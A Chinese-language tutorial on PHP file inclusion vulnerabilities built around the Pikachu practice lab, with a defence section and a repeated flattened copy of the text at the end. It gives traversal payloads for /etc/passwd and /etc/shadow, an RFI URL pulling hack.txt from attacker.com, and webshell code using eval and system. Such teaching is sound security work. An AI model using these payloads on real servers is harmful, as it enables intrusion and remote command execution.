Pikachu靶场-File Inclusion
字数 1247 2025-08-11 21:26:33

文件包含漏洞(File Inclusion)详解与实战教学

1. 文件包含漏洞概述

文件包含是一种常见的编程功能,在各种开发语言中都提供了内置的文件包含函数,允许开发人员在一个代码文件中直接包含(引入)另外一个代码文件。

PHP中的文件包含函数

  • include()
  • include_once()
  • require()
  • require_once()

安全风险:当文件包含函数中包含的代码文件是固定时,通常不会出现安全问题。但如果文件路径被写成一个可由前端用户控制的变量,且没有足够的安全措施,就可能引发文件包含漏洞。

2. 文件包含漏洞分类

2.1 本地文件包含漏洞(Local File Inclusion, LFI)

特点

  • 仅能包含服务器本地的文件
  • 攻击者通常尝试包含系统配置文件读取敏感信息
  • 常与文件上传漏洞结合使用,形成更大威胁

示例攻击

http://x.x.x.x/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/phpinfo.php&submit=提交

2.2 远程文件包含漏洞(Remote File Inclusion, RFI)

特点

  • 能够通过URL地址包含远程文件
  • 攻击者可传入任意恶意代码
  • 危害性极大

必要条件

  1. PHP配置中allow_url_includeallow_url_fopen选项开启
  2. 所包含的远程文件后缀不能与目标服务器语言相同(如PHP服务器不能包含.php文件)

3. 漏洞利用技术

3.1 本地文件包含利用

  1. 读取系统敏感文件:

    /etc/passwd
    /etc/shadow
    /var/log/apache2/access.log
    
  2. 结合文件上传漏洞:

    • 上传恶意文件到服务器
    • 通过LFI包含执行上传的文件

3.2 远程文件包含利用

攻击步骤

  1. 在攻击者服务器上创建恶意文本文件(如hack.txt):
<?php
$myfile = fopen("hack.php", "w");
$txt = '<?php @eval($_POST["hack"]); ?>';
fwrite($myfile, $txt);
fclose($myfile);
?>
  1. 通过目标网站的RFI漏洞包含该文件:
http://target.com/vul/fileinclude.php?filename=http://attacker.com/hack.txt
  1. 服务器会生成webshell文件(hack.php),攻击者可通过该文件控制系统:
http://target.com/vul/fileinclude/hack.php?hack=执行的命令

变种攻击

<?php
$myfile = fopen("hack.php", "w");
$txt = '<?php system($_GET["hack"]); ?>';
fwrite($myfile, $txt);
fclose($myfile);
?>

通过URL直接执行命令:

http://127.0.0.1/pikachu-master/vul/fileinclude/hack.php?hack=pwd

4. 防御措施

  1. 避免动态包含:尽量不要让前端用户直接控制包含的文件路径

  2. 白名单过滤:如果必须使用动态包含,实施严格的白名单策略

  3. 关闭危险配置

    • 关闭allow_url_include
    • 关闭allow_url_fopen
  4. 文件路径固定:尽可能使用固定的文件包含路径

  5. 权限控制:限制Web服务器的文件系统访问权限

  6. 输入验证:对所有用户输入进行严格验证和过滤

5. 实战演示

5.1 本地文件包含实战

  1. 正常功能:包含file1.php
  2. 尝试包含系统文件:?filename=../../../../etc/passwd
  3. 结合上传漏洞:上传phpinfo.php后包含

5.2 远程文件包含实战

  1. 确认服务器配置允许远程包含
  2. 准备远程恶意文件(hack.txt)
  3. 通过参数包含远程文件
  4. 验证生成的webshell
  5. 通过webshell执行系统命令

6. 总结

文件包含漏洞是一种高危漏洞,特别是远程文件包含可以直接导致服务器被完全控制。开发人员应避免使用动态文件包含,或至少实施严格的安全措施。安全人员测试时应重点关注所有用户可控的文件包含点,验证是否存在LFI/RFI漏洞。

文件包含漏洞(File Inclusion)详解与实战教学 1. 文件包含漏洞概述 文件包含是一种常见的编程功能,在各种开发语言中都提供了内置的文件包含函数,允许开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 PHP中的文件包含函数 include() include_once() require() require_once() 安全风险 :当文件包含函数中包含的代码文件是固定时,通常不会出现安全问题。但如果文件路径被写成一个可由前端用户控制的变量,且没有足够的安全措施,就可能引发文件包含漏洞。 2. 文件包含漏洞分类 2.1 本地文件包含漏洞(Local File Inclusion, LFI) 特点 : 仅能包含服务器本地的文件 攻击者通常尝试包含系统配置文件读取敏感信息 常与文件上传漏洞结合使用,形成更大威胁 示例攻击 : 2.2 远程文件包含漏洞(Remote File Inclusion, RFI) 特点 : 能够通过URL地址包含远程文件 攻击者可传入任意恶意代码 危害性极大 必要条件 : PHP配置中 allow_url_include 和 allow_url_fopen 选项开启 所包含的远程文件后缀不能与目标服务器语言相同(如PHP服务器不能包含.php文件) 3. 漏洞利用技术 3.1 本地文件包含利用 读取系统敏感文件: 结合文件上传漏洞: 上传恶意文件到服务器 通过LFI包含执行上传的文件 3.2 远程文件包含利用 攻击步骤 : 在攻击者服务器上创建恶意文本文件(如hack.txt): 通过目标网站的RFI漏洞包含该文件: 服务器会生成webshell文件(hack.php),攻击者可通过该文件控制系统: 变种攻击 : 通过URL直接执行命令: 4. 防御措施 避免动态包含 :尽量不要让前端用户直接控制包含的文件路径 白名单过滤 :如果必须使用动态包含,实施严格的白名单策略 关闭危险配置 : 关闭 allow_url_include 关闭 allow_url_fopen 文件路径固定 :尽可能使用固定的文件包含路径 权限控制 :限制Web服务器的文件系统访问权限 输入验证 :对所有用户输入进行严格验证和过滤 5. 实战演示 5.1 本地文件包含实战 正常功能:包含file1.php 尝试包含系统文件: ?filename=../../../../etc/passwd 结合上传漏洞:上传phpinfo.php后包含 5.2 远程文件包含实战 确认服务器配置允许远程包含 准备远程恶意文件(hack.txt) 通过参数包含远程文件 验证生成的webshell 通过webshell执行系统命令 6. 总结 文件包含漏洞是一种高危漏洞,特别是远程文件包含可以直接导致服务器被完全控制。开发人员应避免使用动态文件包含,或至少实施严格的安全措施。安全人员测试时应重点关注所有用户可控的文件包含点,验证是否存在LFI/RFI漏洞。